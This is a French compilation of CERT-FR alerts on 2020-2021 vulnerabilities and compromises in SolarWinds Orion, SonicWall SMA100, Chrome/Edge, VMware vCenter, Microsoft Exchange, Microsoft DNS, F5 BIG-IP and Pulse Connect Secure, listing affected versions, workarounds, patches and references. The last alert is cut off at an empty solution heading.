[Mise à jour du 06 janvier 2021]

Plateforme Orion de SolarWinds versions antérieures à 2019.4 HF 6 et 2020.2.1 HF 2

Important : le code malveillant SUNBURST n'est présent que dans les versions citées ci-dessous, cependant l'éditeur considère que la vulnérabilité CVE-2020-10148 [12][13] permettant notamment l'installation du webshell SUPERNOVA est présente dans toutes les versions antérieures.

[Mise à jour du 17 décembre 2020]

Plateforme Orion de SolarWinds versions 2019.4 HF 5 à 2020 2.1 HF 1

## Solution

**\[Version du 06 janvier 2021 - mise à jour de la recommandation sur la
version logicielle à privilégier\]**

Le CERT-FR recommande fortement :

-   de vérifier si la version utilisée est affectée. Si c'est le cas,
    l'éditeur recommande de déconnecter les serveurs et considérer que
    le système d'information a pu être compromis dans son
    ensemble. En effet, il s'agit ici d'un logiciel légitime
    contenant une porte dérobée malveillante.
-   de réaliser, dans la mesure du possible, une image des disques et de
    la mémoire des serveurs hébergeant le produit Orion, cela à titre
    conservatoire pour recherche postérieure.
-   de prendre connaissance des marqueurs tenus à jour par l’US-CERT
    concernant SUNBURST \[8\].
-   de prendre connaissance des marqueurs concernant SUPERNOVA \[6\].
-   d’inventorier toutes les machines supervisées par SolarWinds Orion
    afin de les analyser en priorité.
-   de procéder à des recherches de compromissions au sein du système
    d'information en privilégiant les marqueurs réseau puis les
    indicateurs de compromission ‘système’. Microsoft a notamment
    centralisé la documentation sur les aspects techniques liés à cette
    compromission \[9\].
-   de contrôler les potentielles modifications au niveau des annuaires
    Active Directory et notamment l’ajout de privilèges élevés à des
    comptes \[10\] ou l’ajout d’approbations entre domaines ou forêts
    \[11\].
-   de contrôler l’utilisation anormale de jetons SAML notamment avec
    les plates-formes Office365/Azure AD.
-   **de mettre à jour la solution Orion vers la version 2020.2.1 HF2 ou
    à défaut vers la version 2019.4 HF 6
    **

Pour rappel, le CERT-FR a publié un guide à suivre en cas d’intrusion
\[5\].

------------------------------------------------------------------------

La mise à jour d’un produit ou d’un logiciel est une opération délicate
qui doit être menée avec prudence. Il est notamment recommandé
d’effectuer des tests autant que possible. Des dispositions doivent
également être prises pour garantir la continuité de service en cas de
difficultés lors de l’application des mises à jour comme des correctifs
ou des changements de version.

[6] Rapport Palo Alto

[5] Les bons réflexes en cas d’intrusion sur un système d’information

[8] Alerte US-CERT et liste des marqueurs

[13] avis CERT-FR CERTFR-2020-AVI-845 du 28 décembre 2020

[2] Avis de sécurité de l'éditeur

[9] Référence documentaire Microsoft

[4] Article de MSRC

[11] Outil de détection Microsoft

[10] Outil de détection Microsoft

[7] Rapport Microsoft du 18 décembre 2020

[3] Signature de détection proposée par FireEye

[1] Papier de recherche de FireEye

[12] CVE-2020-10148

Version initiale

Correction d'une coquille.

Mise à jour des informations concernant les versions affectées et la publication des versions correctives.

Mise à jour de l'alerte pour mentionner la découverte de Supernova et ajout de références documentaires

Mise à jour de l'alerte pour ajouter les précisions de SolarWinds sur Supernova.

Mise à jour de l'alerte pour ajouter les précisions de SolarWinds sur Supernova en date du 31 décembre 2020.

correction d'une erreur dans l'identifiant de la CVE.

Clôture de l'alerte. Cela ne signifie pas la fin d'une menace. Seule l'application des mesures correctives permet d'éliminer la compromission.

Exécution de code arbitraire à distance

Summary:
\[Mise à jour du 28 décembre 2020\]

Le 27 décembre 2020, l'avis SolarWinds a été mis à jour pour apporter
des précisions sur SUPERNOVA, un "code encoquillé" (*webshell*) déposé
et exécuté *via* l'exploitation d'une vulnérabilité corrigée dans les
dernières versions d'Orion.

\[Mise à jour du 23 décembre 2020\]

Le 17 décembre, Palo Alto a publié un rapport \[6\] dans lequel ils
indiquent qu’un *webshell* a été identifié dans une autre bibliothèque
présente dans le serveur Web de la solution Orion. Ce *webshell*,
dénommé SUPERNOVA, a la particularité de ne pas requérir la transmission
d’un code exécutable par l’attaquant mais un code source en .NET qui
sera exécuté en mémoire sur le serveur sans laisser de traces sur le
disque.

\[Version initiale\]

Le 8 décembre 2020, FireEye a annoncé avoir découvert une campagne
d'intrusion par le biais d'une compromission de mise à jour de la
plateforme de gestion et de supervision Orion de SolarWinds. Cette
plate-forme a servi de vecteur pour une attaque par la chaîne
d'approvisionnement (*supply chain attack)*. Les mises à jour ont été
altérées afin d'inclure un maliciel appelé SUNBURST \[1\]. Le code
malveillant permet à l'attaquant d'exécuter du code à distance et
d'exfiltrer des données.

L'éditeur confirme que certaines versions de son produit ont été
altérées et a publié un avis afin de fournir toutes les informations
pour que les utilisateurs puissent sécuriser leurs installations \[2\].

D'après FireEye, la campagne aurait commencé au printemps 2020 et
continuerait actuellement. FireEye a mis à disposition des signatures de
détection (cf \[3\]) pour ce maliciel.

[MaJ] Présence de code malveillant dans SolarWinds Orion


SMA 200, SMA 210, SMA 400 et SMA 410 versions 10.x antérieures à 10.2.0.6-32sv

SMA 200, SMA 210, SMA 400 et SMA 410 versions 9.x antérieures à 9.0.0.10-28sv

SMA 500v (Azure, AWS, ESXi, HyperV) versions 10.x antérieures à 10.2.0.6-32sv

SMA 500v (Azure, AWS, ESXi, HyperV) versions 9.x antérieures à 9.0.0.10-28sv

## Contournement provisoire

En attendant la sortie du correctif, SonicWall propose plusieurs mesures
de contournement:

1.  Changer tous les mots de passe et activer l'authentification
    multi-facteurs ;
2.  Bloquer l'accès à l’équipement par un pare-feu ;
3.  Éteindre l'équipement ;
4.  Installer une version 9.x après avoir effectué une sauvegarde de ses
    réglages puis une réinitialisation aux paramètres d'usine.

Le CERT-FR précise que le simple fait de changer un mot de passe n'a pas
d'utilité particulière dans le cas où un attaquant peut toujours
exploiter une vulnérabilité et éventuellement contourner les mécanismes
d'authentification.

Le renouvellement des mots de passe est toutefois conseillé, une fois
les correctifs appliqués ou à défaut une fois les autres mesures de
contournement mises en œuvre.

L'authentification multi-facteurs fait partie des bonnes pratiques et
est toujours conseillée lorsque celle-ci est disponible.

## Solution

Le CERT-FR recommande l'application du correctif de sécurité dans les
plus brefs délais, la modification de tous les mots de passe ainsi que
l'activation de l'authentification multi-facteurs.

Pour plus de renseignements, se référer au bulletin de sécurité de
l'éditeur pour l'obtention des correctifs (cf. section Documentation).

Avis du CERT-FR CERTFR-2021-AVI-083 du 04 février 2021

Communiqué SonicWall du 19 février 2021

Billet de blogue FireEye du 29 avril 2021

Version initiale

Disponibilité du correctif, ajout de l'identifiant CVE, obligation de changer les mots de passe.

Ajout du communiqué SonicWall du 19 février 2021.

Clôture de l'alerte. Cela ne signifie pas la fin d'une menace. Seule l'application de la mise à jour permet de vous prémunir contre l'exploitation de la vulnérabilité correspondante.

Ajout du billet de blogue FireEye du 29 avril 2021.

Exécution de code arbitraire à distance

Summary:
\[Mise à jour du 30 avril 2021\]

Le 29 avril 2021, dans un billet de blogue (cf. section Documentation),
FireEye fait état de l'exploitation de la vulnérabilité CVE-2021-20016
par un groupe criminel dans le but de déployer plusieurs rançongiciels à
l'encontre de différentes entités en Europe et en Amérique du Nord.

\[Mise à jour du 22 février 2021\]

Le 19 février 2021, SonicWall a publié un nouveau correctif pour les
versions 10.x, mais aussi pour les versions 9.x non concernées par la
vulnérabilité CVE-2021-20016 (cf. section Documentation).

Dans son communiqué, SonicWall indique que ce correctif contient, sans
les préciser, des mesures de durcissement du code et invite ses clients
à l'installer immédiatement.

\[Mise à jour du 04 février 2021\]

Le 03 février 2021, SonicWall a publié un correctif pour la
vulnérabilité qui porte désormais l'identifiant CVE-2021-20016. Cette
vulnérabilité permet à un attaquant non authentifié d'obtenir les
informations de connexions, y compris celles des comptes
administrateurs. L'attaquant peut alors prendre complètement la main sur
l'équipement.

Cette nouvelle précision confirme qu'il est obligatoire de changer tous
les mots de passe une fois le correctif appliqué.

\[Publication initiale\]

Le 01 février 2021, SonicWall a confirmé l'existence d'une vulnérabilité
de type 0 jour dans leurs passerelles d'accès sécurisé SMA séries 100.
Celle-ci affecte uniquement les versions 10.x.

Les risques liés à cette vulnérabilité ne sont pas précisés, mais sont
jugés comme critiques par SonicWall.

SonicWall annonce la sortie d'un correctif pour le 02 février 2021 en
fin de journée ou pour le début de matinée du 03 février 2021 en France.

A noter: Indépendamment de cet évènement, un code d'attaque exploitant
la vulnérabilité CVE-2014-6271 (nommée *Shellshock*) présente dans les
versions antérieures à 8.0.0.4 a été publié sur internet. Il est donc
impératif de s'assurer que vous ne disposez plus d'équipements dans ces
versions. Toutefois, les produits SMA séries 100 versions 9.x et 10.x ne
sont pas vulnérables à la CVE-2014-6271.

|MàJ] Vulnérabilité dans SonicWall SMA100

Communiqué SonicWall

Bulletin de sécurité SonicWall SNWLID-2021-0001


Microsoft Edge (Chromium-based) versions antérieures à 88.0.705.63

Google Chrome versions antérieures à 88.0.4324.150

## Solution

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des
correctifs (cf. section Documentation).

Version initiale

Correction concernant l'état de la menace.

Ajout de Microoft Edge

Non spécifié par l'éditeur

Summary:
\[Mise à jour du 08 février 2021\]

Le navigateur Microsoft Edge
disposant d'une version basée sur Chromium, l'éditeur a publié une mise
à jour pour cette version afin de fixer cette
vulnérabilité.

\[Version originale\]

Le 04 février 2021, Google a publié un correctif pour la vulnérabilité
CVE-2021-21148 affectant son navigateur Chrome. Cette vulnérabilité
permet un débordement de tampon dans le tas.

Google indique avoir connaissance de l'existence d'un code d'attaque
exploitant cette vulnérabilité.

Le CERT-FR recommande donc l'application de la mise à jour dans les plus
brefs délais.

[MàJ] Vulnérabilité dans Google Chrome et Microsoft Edge

Bulletin de sécurité Microsoft du 05 février 2021

Avis CERTFR CERTFR-2021-AVI-089 du 08 février 2021

Bulletin de sécurité Google du 04 février 2021

Avis CERTFR CERTFR-2021-AVI-088 du 05 février 2021


Cloud Foundation (vCenter Server) versions 4.x antérieures à 4.2

vCenter Server versions 6.5 antérieures à 6.5 U3n

Cloud Foundation (vCenter Server) versions 3.x antérieures à 3.10.1.2

vCenter Server versions 7.0 antérieures à 7.0 U1c

vCenter Server versions 6.7 antérieures à 6.7 U3l

## Contournement provisoire

Le CERT-FR recommande l'application du correctif de sécurité. Toutefois,
dans les cas où cela n'est pas possible, VMware a publié des mesures de
contournement provisoires:

-   <https://kb.vmware.com/s/article/82374>

## Solution

Se référer au bulletin de sécurité de l'éditeur pour l'obtention des
correctifs (cf. section Documentation).

------------------------------------------------------------------------

La mise à jour d'un produit ou d'un logiciel est une opération délicate
qui doit être menée avec prudence. Il est notamment recommander
d'effectuer des tests autant que possible. Des dispositions doivent
également être prises pour garantir la continuité de service en cas de
difficultés lors de l'application des mises à jour comme des correctifs
ou des changements de version.

Version initiale

Mise à jour suite à la découverte d'attaques en cours

clarification des versions affectées

Exécution de code arbitraire à distance

Summary:
\[version du 26 février 2021\]

Le CERT-FR a connaissance d'attaques en cours ciblant des serveurs
vCenter exposés sur Internet. Il est urgent de procéder soit à
l'application du contournement pour désactiver le greffon vulnérable
soit de déployer les versions corrigeant la vulnérabilité.

\[version initiale\]

Le 23 février 2021, VMware a publié un avis de sécurité concernant trois
vulnérabilités (cf. section documentation). La
vulnérabilité CVE-2021-21972 est la plus critique. Elle permet une
exécution de code arbitraire à distance par un attaquant non
authentifié.

Cette vulnérabilité affecte un greffon de vCenter Server permettant la
communication entre vCenter Server et la solution
VMware vRealize Operations (vROPs). Ce greffon vulnérable est présent
dans toutes les installations par défaut de vCenter. VMware précise que
l'exploitation de la vulnérabilité est possible même si la solution
vRealize Operations n'est pas utilisée.

Des preuves de concept sont disponibles publiquement et le CERT-FR a
connaissance de campagnes de détection de la
vulnérabilité CVE-2021-21972, il est donc urgent d'appliquer le
correctif de sécurité.

De plus, le CERT-FR a constaté la présence d'instances de vCenter
directement accessibles sur internet. Ceci est contraire aux bonnes
pratiques.

Pour rappel, ce type de services ne doit jamais être exposé sur
internet. Lorsque cela se révèle absolument nécessaire, il est fortement
recommandé de recourir à des solutions d'accès sécurisés à distance.

Ainsi, de manière générale, que ce soit sur le réseau interne ou à
distance, des bonnes pratiques d'hygiène informatique et de sécurité en
profondeur doivent être appliquées, comme recommandé dans les guides
suivants :

-   <https://www.ssi.gouv.fr/guide/recommandations-sur-le-nomadisme-numerique/>
-   <https://www.ssi.gouv.fr/administration/guide/securiser-ladministration-des-systemes-dinformation/>
-   <https://www.ssi.gouv.fr/uploads/2020/06/anssi-guide-passerelle_internet_securisee-v3.pdf>

[MàJ] Vulnérabilité dans VMware vCenter Server

Avis de sécurité CERT-FR CERTFR-2021-AVI-145 du 24 février 2021

Bulletin de sécurité VMware VMSA-2021-0002


Microsoft Exchange Server 2010

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

Les solutions Exchange Online ne sont pas affectées par les vulnérabilités.

## Contournement provisoire

**\[version du 16 mars 2021\]**

L' outil *Exchange On-premises Mitigation Tool* (EOMT) fourni par
Microsoft le 15 mars 2021 a trois fonctions :

-   chercher à empêcher les exploitations connues de la
    vulnérabilité CVE-2021-26855 affectant les serveurs Exchange ;
-   rechercher sur le système des traces connues d'exploitation grâce
    au *Microsoft Safety Scanner* ;
-   tenter de remédier aux compromissions par certaines méthodes connues
    ayant été révélées par le *Microsoft Safety Scanner*.

Microsoft insiste sur le fait que l'utilisation de ce script ne dispense
pas de l'installation de la mise à jour et que cet outil ne protège que
contre les menaces connues.

Microsoft précise que cet outil a été testé sur les versions 2013, 2016
et 2019 d'Exchange Server \[9\].

## Solution

**Pour rappel**, seuls les deux derniers Cumulative Update (CU) des
serveurs Exchange en version 2013, 2016 et 2019 sont maintenus à jour et
reçoivent les correctifs de sécurité.

Des correctifs de sécurité sont donc disponibles pour :

-   Exchange Server 2013 CU 23
-   Exchange Server 2016 CU 19 et CU 18
-   Exchange Server 2019 CU 8 et CU 7
-   Exchange Server 2010 SP3 Rollup 30

Pour des versions antérieures, il faut appliquer les Cumulative Update
ou les Rollup pour Exchange 2010 en amont de l’application du correctif.
Microsoft a publié une procédure accompagnée d’une Foire Aux Questions
\[2\].

------------------------------------------------------------------------

La mise à jour d'un produit ou d'un logiciel est une opération délicate
qui doit être menée avec prudence. Il est notamment recommander
d'effectuer des tests autant que possible. Des dispositions doivent
également être prises pour garantir la continuité de service en cas de
difficultés lors de l'application des mises à jour comme des correctifs
ou des changements de version.

Présentation de l'outil Microsoft EOMT du 15 mars 2021

Avis CERT-FR du 03 mars 2021

GitHub Microsoft CSS-Exchange

Version initiale

Clarification sur les systèmes affectés

Ajout des informations communiquées par Microsoft

Ajout des recommandations du CISA

Ajout des informations concernant les correctifs pour les anciens Cumulative Updates

Ajout de l'outil EOMT de Microsoft.

Exécution de code arbitraire à distance

Summary:
\[version du 16 mars 2021\]

le 15 mars 2021, Microsoft a publié un nouvel outil dont le but annoncé
est d'aider leurs clients à se protéger de l'exploitation de la
vulnérabilité CVE-2021-26855 affectant les serveurs de courrier Exchange
en attendant l'application des mises à jour
[(https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/).](https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/)

Les détails de cet outil sont développés dans la section "Contournement
provisoire".

Le CERT-FR souhaite cependant insister sur plusieurs points:

-   Cet outil ne protège que contre une exploitation future de la
    vulnérabilité CVE-2021-26855, en attendant l'application de la mise
    à jour fournie le 2 mars 2021 ;
-   Les vulnérabilités ayant été exploitées avant la publication des
    correctifs, puis de façon massive, tous les serveurs Exchange
    doivent être considérés comme compromis. L'utilisation de cet outil
    ne remplace pas l'étape de recherche de compromission (voir les
    recommandations de cette alerte) ;
-   De plus en plus de codes d'exploitation sont publiquement
    disponibles. L'outil de Microsoft tente d'annuler certaines
    modifications malveillantes réalisées lors de l'exploitation de la
    vulnérabilité CVE-2021-26855, mais cela ne fonctionne que pour une
    partie des codes d'exploitation connus.

\[version du 9 mars 2021\]

Le CERT-FR recommande fortement de toujours maintenir les serveurs
Exchange dans une version maintenue par l'éditeur, notamment en
appliquant les derniers *Cumulative Updates (CU)*. Cependant, étant
donné l'urgence de la situation, dans le cas où l'application d'un *CU*
ne peut pas se faire immédiatement, l'éditeur a publié un correctif pour
les anciens *CU* des versions Exchange 2016 et 2019
[\[8\]](https://techcommunity.microsoft.com/t5/exchange-team-blog/march-2021-exchange-server-security-updates-for-older-cumulative/ba-p/2192020).

Note importante : Le CERT-FR insiste sur l'importance de bien suivre les
recommandations de l'éditeur pour l'application des correctifs : en
particulier, en cas d'installation manuelle du fichier .msp, il est
obligatoire d'avoir les droits administrateur au moment de son
installation.

\[version du 8 mars 2021\]

Microsoft a publié un code
[\[5\]](https://github.com/microsoft/CSS-Exchange/tree/main/Security)
permettant de vérifier la présence des indicateurs de compromission
(IoCs) liés au mode opératoire *Hafnium*. Un détail de l'utilisation de
ce code est disponible dans la section *"scan Exchange log files"* de
l’article *"HAFNIUM targeting Exchange Servers with 0-day exploits"*
[\[1\]](https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/).

A défaut d'appliquer le correctif immédiatement, des mesures de
contournement provisoires ont été proposées par l'éditeur pour les
versions 2013, 2016 et 2019 des serveurs Exchange
[\[6\]](https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/).
Cependant, contrairement aux correctifs, ces mesures ont un impact sur
les fonctionnalités des serveurs Exchange et ne garantissent pas une
protection complète contre ces vulnérabilités.

De plus, dans le cas où l'application du correctif n'est pas immédiate,
le CISA recommande de restreindre les accès externes des plateformes
Exchange exposées en appliquant les mesures suivantes
[\[7\]](https://us-cert.cisa.gov/ncas/alerts/aa21-062a) :

-   Bloquer les connections non vérifiées qui peuvent accéder aux
    serveurs Exchange sur le port 443, ou mettre en place un VPN afin
    qu'il ne soit plus directement exposé sur Internet ;
-   Restreindre les accès externes :
    -   À l'url OWA : /owa/ ;
    -   À l'url Exchange Admin Center (EAC) aka Exchange Control Panel
        (ECP) : /ecp/

Microsoft met en avant la forte augmentation de l'exploitation de ces
quatre vulnérabilités par des attaquants. Le CERT-FR rappelle donc le
motif urgent de la mise en place des correctifs de sécurité, ou
au moins la restriction des accès à la plateforme ainsi que la mise en
place des mesures de contournement le temps d'appliquer ces correctifs.

\[version initiale\]

Le 2 mars 2021, Microsoft a publié des correctifs concernant des
vulnérabilités critiques de type « jour zéro » (zero day) affectant les
serveurs de messagerie Exchange en version 2010, 2013, 2016 et 2019.

Ces vulnérabilités permettent à un attaquant de réaliser une exécution
de code arbitraire à distance, permettant d’obtenir *in fine* les droits
de l’administrateur de domaine Active Directory.

-   CVE-2021-26855 : vulnérabilité côté serveur de type SSRF permettant
    à l‘attaquant non authentifié d’envoyer des requêtes HTTP
    arbitraires qui seront exécutées sous l’identité du serveur
    Exchange.
-   CVE-2021-27065 : vulnérabilité post-authentification permettant à
    l’attaquant de pouvoir écrire un contenu arbitraire dans un fichier.
    Les droits d’accès peuvent être obtenus soit en exploitant la
    CVE-2021-26855 soit en compromettant les identifiants d’un
    administrateur légitime.
-   CVE-2021-26857 : vulnérabilité basée sur une faiblesse de la
    désérialisation dans le service de messagerie unifiée (Unified
    Messaging). Cette vulnérabilité permet à l’attaquant de pouvoir
    exécuter du code arbitraire à distance avec les privilèges SYSTEM
    sur le serveur Exchange. L’exploitation de cette vulnérabilité
    demande les droits administrateurs (ou l’exploitation d’une autre
    vulnérabilité).
-   CVE-2021-26858 : vulnérabilité post-authentification permettant à
    l’attaquant de pouvoir écrire un contenu arbitraire dans un fichier.
    Les droits d’accès peuvent être obtenus soit en exploitant la
    CVE-2021-26855 soit en compromettant les identifiants d’un
    administrateur légitime.

L’éditeur indique que ces vulnérabilités ont été exploitées dans des
attaques ciblées qu'il attribue à un groupe d’attaquants appelé
*Hafnium*
[\[1\]](https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/).
En complément, les chercheurs de Volexity indiquent avoir détecté des
premières attaques dès janvier 2021
[\[4\]](https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/).

Au vu de la criticité de ces vulnérabilités, l’ANSSI recommande
fortement de réaliser les actions suivantes :

-   déconnecter immédiatement les serveurs Exchange qui seraient exposés
    sur Internet sans protection le temps d’appliquer les correctifs ;
-   appliquer immédiatement les correctifs de sécurité fournis par
    l’éditeur sur l’ensemble des serveurs Exchange exposés sur Internet
    puis en interne ;
-   procéder à l’analyse des serveurs Exchange afin d’identifier une
    possible compromission à l’aide des indicateurs de compromission
    publiés par l’éditeur
    [\[1\]](https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/) et
    de Volexity
    [\[4\]](https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/).
    Une première étape consistera notamment à effectuer une recherche
    d'antécédents dans les logs des serveurs web de Outlook Web Access
    afin de déceler d'éventuelles requêtes de type *POST* vers
    */owa/auth/Current/themes/resources/* ;
-   en cas de compromission, de contrôler le système d’information pour
    détecter d’éventuelles latéralisations ainsi qu’une compromission
    des serveurs Active Directory.

Enfin, le CERT-FR rappelle que les serveurs Microsoft Exchange ne
devraient pas être exposés sans protection sur Internet. Il est
fortement recommandé d’appliquer les bonnes pratiques publiées par
l’ANSSI pour le nomadisme
[\[3\]](https://www.ssi.gouv.fr/guide/recommandations-sur-le-nomadisme-numerique/).

[MàJ] Multiples vulnérabilités dans Microsoft Exchange Server

Bulletin de sécurité Microsoft


Les versions de Windows hébergeant le serveur DNS Microsoft suivantes sont affectées :

Windows server 2008, 2008 R2

Windows server 2012, 2012 R2

Windows server 2016

Windows server 2019

Windows server, version 1909, 2004, 20H2

## Solution

L’ANSSI recommande d’appliquer les correctifs dès que possible (cf.
section Documentation) et de suivre les recommandations de l’éditeur
afin de limiter la fenêtre d’exposition des produits vulnérables.

Par ailleurs, l’ANSSI recommande fortement :

-   De ne pas exposer sur Internet de service DNS *Microsoft*
    s'exécutant sur un contrôle de domaine ou un serveur membre d'un
    domaine ;
-   De ne pas autoriser les mises à jour dynamiques de zone DNS
    (sécurisées ou non) en cas d'exposition d'un service DNS *Microsoft*
    sur Internet ;
-   De ne pas autoriser les mises à jour non sécurisées en cas
    d'utilisation d'un service DNS *Microsoft* dans le cadre d'une
    infrastructure *Active Directory.*

------------------------------------------------------------------------

Pour rappel, il est possible de contrôler le paramétrage d’une zone DNS
avec la commande :

    Dnscmd nom_du_serveur /ZoneInfo zone_DNS_a_verifier AllowUpdate

Le résultat est l’un des 3 suivants :

-   0 : la zone est statique
-   1 : la zone DNS peut être mise à jour de façon non sécurisée (non
    recommandé)
-   2 : la zone DNS peut être mise à jour de façon sécurisée (à risque
    pour les équipements vulnérables)

Cette information peut être également vérifiée en consultant la valeur
DSPROPERTY_ZONE_ALLOW_UPDATE présente dans les attributs dnsProperty de
chaque zone DNS configurée \[1\].

------------------------------------------------------------------------

La mise à jour d'un produit ou d'un logiciel est une opération délicate
qui doit être menée avec prudence. Il est notamment recommander
d'effectuer des tests autant que possible. Des dispositions doivent
également être prises pour garantir la continuité de service en cas de
difficultés lors de l'application des mises à jour comme des correctifs
ou des changements de version.

[1] Documentation Microsoft concernant DNSP

Version initiale

Exécution de code arbitraire à distance

Summary:
#### Contexte

Sept vulnérabilités concernant le serveur DNS de Microsoft ont fait
l’objet d’un correctif à l’occasion de la mise à jour mensuelle de mars
2021. Parmi ces vulnérabilités, deux permettent un déni de service alors
que les cinq autres permettent une exécution de code arbitraire à
distance. Ces vulnérabilités, identifiées par CVE-2021-26877,
CVE-2021-26897, CVE-2021-26893, CVE-2021-26894 et CVE-2021-26895 sont
considérées comme critiques.

#### Nature et impact des vulnérabilités

Toutes les vulnérabilités affectent le mécanisme de *Dynamic Zone
Update* du serveur DNS de *Microsoft*.

Ce mécanisme existe en mode sécurisé (dans ce mode, les demandes de mise
à jour d'enregistrement DNS doivent être authentifiées et autorisées
pour être acceptées*) ou non-sécurisé (dans ce cas, le serveur DNS
accepte toutes les demandes de mise à jour d'un enregistrement DNS).

Le mécanisme est configuré différemment suivant les installations :

-   Lorsque la zone DNS est intégrée à *Active Directory*, le mode
    sécurisé est activé par défaut ;
-   Lorsque la zone DNS n’est pas intégrée à *Active Directory* mais
    stockée localement sur le serveur DNS, le mécanisme *Dynamic Zone
    Update* n’est pas activé par défaut. S’il est activé, il ne sera
    disponible que dans le mode non-sécurisé (non recommandé).

Les impacts des vulnérabilités sont les suivants :

-   Si le mode non-sécurisé est activé, l’attaquant peut anonymement
    forger une requête spécifiquement conçue pour exploiter ces
    vulnérabilités ;
-   Si le mode sécurisé est activé, l’attaquant doit être préalablement
    authentifié dans le domaine Active Directory pour exploiter ces
    vulnérabilités.

Il est important de noter que le serveur DNS de Microsoft est exécuté
avec le compte de service SYSTEM. L'exploitation d'une des
vulnérabilités permet donc à l'attaquant d'exécuter du code arbitraire
avec les droits et les privilèges du compte de service SYSTEM.

L’éditeur estime que l’exploitation prochaine des vulnérabilités
CVE-2021-26877 et CVE-2021-26897 est à anticiper. Par défaut, les
serveurs DNS sont installés sur les Contrôleurs de Domaine *Active
Directory*. Cette caractéristique rend les vulnérabilités
particulièrement critiques puisque leur exploitation permettrait à un
attaquant de prendre le contrôle du domaine Active Directory.

(\*) Via le mécanisme GSS-TSIG qui s’appuie sur Kerberos pour
authentifier les émetteurs des requêtes

Multiples vulnérabilités dans Microsoft DNS server

Bulletin de sécurité Microsoft CVE-2021-26877

Bulletin de sécurité Microsoft CVE-2021-26895

Avis CERT-FR CERTFR-2021-AVI-181

Bulletin de sécurité Microsoft CVE-2021-26897

Bulletin de sécurité Microsoft CVE-2021-26893

Bulletin de sécurité Microsoft CVE-2021-26894


BIG-IP versions 16.x antérieures à 16.0.1.1

BIG-IP versions 13.x antérieures à 13.1.3.6

BIG-IP versions 12.x antérieures à 12.1.5.3

BIG-IP versions 15.x antérieures à 15.1.2.1

BIG-IP versions 14.x antérieures à 14.1.4

## Contournement provisoire

Si la mise à jour des équipements ne peut pas être réalisée dans les
plus brefs délais, l'éditeur recommande fortement de restreindre l'accès
à l'*API REST iControl* depuis les *Self-IPs* et de n'autoriser que des
équipements de confiance. Se référer à la section 'Mitigation' de l'avis
de l'éditeur. Des informations complémentaires sont disponibles dans la
Foire Aux Questions (FAQ) publiée par l'éditeur \[2\].

## Solution

Le CERT-FR rappelle que cette vulnérabilité fait partie d'un ensemble de
21 vulnérabilités corrigées par l'éditeur le 09 mars 2021 dont 4
vulnérabilités critiques (se référer à l'avis CERT-FR et au bulletin
CERT-FR pour plus de détails). Le CERT-FR recommande donc fortement
d'appliquer les mises à jour sans délai.

Cependant, l'exploitation actuelle par des groupes d'attaquants de la
vulnérabilité CVE-2021-22986 peut nécessiter d'appliquer le
contournement dans un premier temps.

Par ailleurs, le CERT-FR recommande fortement :

-   de procéder à l’analyse des équipements afin d’identifier une
    possible compromission en s'appuyant sur les indicateurs de
    compromission décrits dans \[1\] et en se référant aux conseils
    généraux de l'éditeur \[3\] ;
-   en cas de compromission, de contrôler le système d’information pour
    détecter d’éventuelles latéralisations dans le système
    d'information.

------------------------------------------------------------------------

La mise à jour d'un produit ou d'un logiciel est une opération délicate
qui doit être menée avec prudence. Il est notamment recommandé
d'effectuer des tests autant que possible. Des dispositions doivent
également être prises pour garantir la continuité de service en cas de
difficultés lors de l'application des mises à jour comme des correctifs
ou des changements de version.

Avis de sécurité CERT-FR CERTFR-2021-AVI-189 du 11 mars 2021

Bulletin de sécurité F5 K03009991 du 10 mars 2021

Bulletin d'actualité CERT-FR CERTFR-2021-ACT-010 du 15 mars 2021

Version initiale

découverte d'une nouvelle méthode d'attaque

Clôture de l'alerte. Cela ne signifie pas la fin d'une menace. Seule l'application de la mise à jour permet de vous prémunir contre l'exploitation de la vulnérabilité correspondante.

Exécution de code arbitraire à distance

Summary:
\[mise à jour du 22 mars 2021\]

Un nouveau vecteur d'attaque a été publié qui ne requiert plus
d'exploiter une *SSRF* et de nouveaux codes d'attaques sont désormais
disponibles. Toute requête *HTTP* de type *POST* reçue par l'*API REST
iControl* serait par conséquent potentiellement malveillante.

\[version originale\]

Dans son bulletin d'actualité du 15 mars 2021, le CERT-FR soulignait la
gravité de plusieurs vulnérabilités affectant les équipements *BIG-IP*
de *F5 Networks*, et notamment la CVE-2021-22986.

Le 19 mars 2021, l'éditeur indique que des attaques massives sont en
cours, attaques également détectées par des sources telles que \[1\].

La vulnérabilité CVE-2021-22986 est une vulnérabilité de type '*SSRF*'
(*Server Side Request Forgery*) qui permet à un attaquant non
authentifié ayant un accès à l'*API* *REST iControl* de provoquer une
exécution de code arbitraire à distance.

Cette *API* permet l'automatisation de certaines tâches
d'administration. Elle est accessible depuis l'interface
d'administration de l'équipement mais également depuis les adresses IP
dénommées *self-IPs* qui peuvent être configurées via le menu *Network /
Self-IPs* dans les différents *VLANs* auxquels ces équipements sont
connectés.

[MàJ] Vulnérabilité dans F5 BIG-IP


Pulse Connect Secure versions 9.1RX

Pulse Connect Secure versions 9.0R3 et ultérieures

## Contournement provisoire

Dans l'attente de la publication du correctif (début mai selon FireEye),
Pulse Secure a mis à disposition une mesure de contournement. La
procédure est décrite dans son bulletin de sécurité.

Pulse Secure indique que sa mesure de contournement ne fonctionne pas
pour les versions 9.0R1 à 9.0R4.1 et 9.1R1 à 9.1R2. Il convient alors de
préalablement mettre l'équipement à jour vers une version compatible
avec cette mesure de contournement.

Pour mettre en place la mesure de contournement, il faut télécharger et
importer le fichier Workaround-2104.xml. Il faut également vérifier que
le Windows File Browser est désactivé pour chaque utilisateur. La mesure
de contournement repose sur une liste noire d'URLs considérées comme
caractéristiques d'une attaque.

Pulse Secure précise que la mesure de contournement désactive Pulse
Collaboration et peut affecter un éventuel répartiteur de charge s'il
est placé devant l'équipement.

## Solution

